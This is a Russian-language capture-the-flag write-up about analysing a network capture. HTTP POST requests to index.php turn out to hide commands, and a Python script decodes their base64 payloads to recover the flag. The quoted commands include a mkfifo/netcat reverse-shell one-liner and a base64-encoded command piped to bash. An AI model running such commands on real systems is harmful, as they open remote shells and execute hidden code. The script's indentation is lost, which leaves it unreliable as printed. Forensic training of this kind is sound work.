## Задание
* list.pcap - дамп сети

## Решение
Первым делом смотрю экпортируемые HTTP объекты:

Их слишком много, поэтому надо найти полезные.
Фильтрую пакеты по протоколу HTTP, отсекая OCSP пакеты, т.к. они не содержат полезной информации и сортирую по размеру.

Сразу замечаю POST запросы к index.php содержащие исполняемые команды

Всего различных команд 4:
```
1. id
2. ls
3. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
4. echo "ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiXyIgMj4vZGV2L251bGw=" | base64 -d | bash
```
Где 4 команда повторяется некоторое количество раз. Сразу брасается в глаза отличающиеся содержания команд в base64.
Экспортирую интересующие файлы и достаю из них интересующие команды:

Пишу скрипт, чтобы достать данные из команд:
```
import base64
str_ = ''
res = ''
with open('commands.txt') as f:
lines = f.readlines()
flag = False
tmp = []
for line in lines:
for i in range(len(line) - 8):
if flag:
str_ += line[i]
if line[i] == '=' and line[i+1] == '\"':
flag = False
res += str(base64.b64decode(str_ )) + "\n"
str_ = ''
if line[i] == '\"' and line[i+1] == 'Z':
flag = True
print(res)
```
Видно, что в данных командах спрятан флаг.

Модифицирую скрипт и достаю флаг:
```import base64
str_ = ''
res = ''
with open('commands.txt') as f:
lines = f.readlines()
flag = False
tmp = []
for line in lines:
for i in range(len(line) - 8):
if flag:
str_ += line[i]
if line[i] == '=' and line[i+1] == '\"':
flag = False
res += str(base64.b64decode(str_))[32]
str_ = ''
if line[i] == '\"' and line[i+1] == 'Z':
flag = True
print(res)
```
Результат:
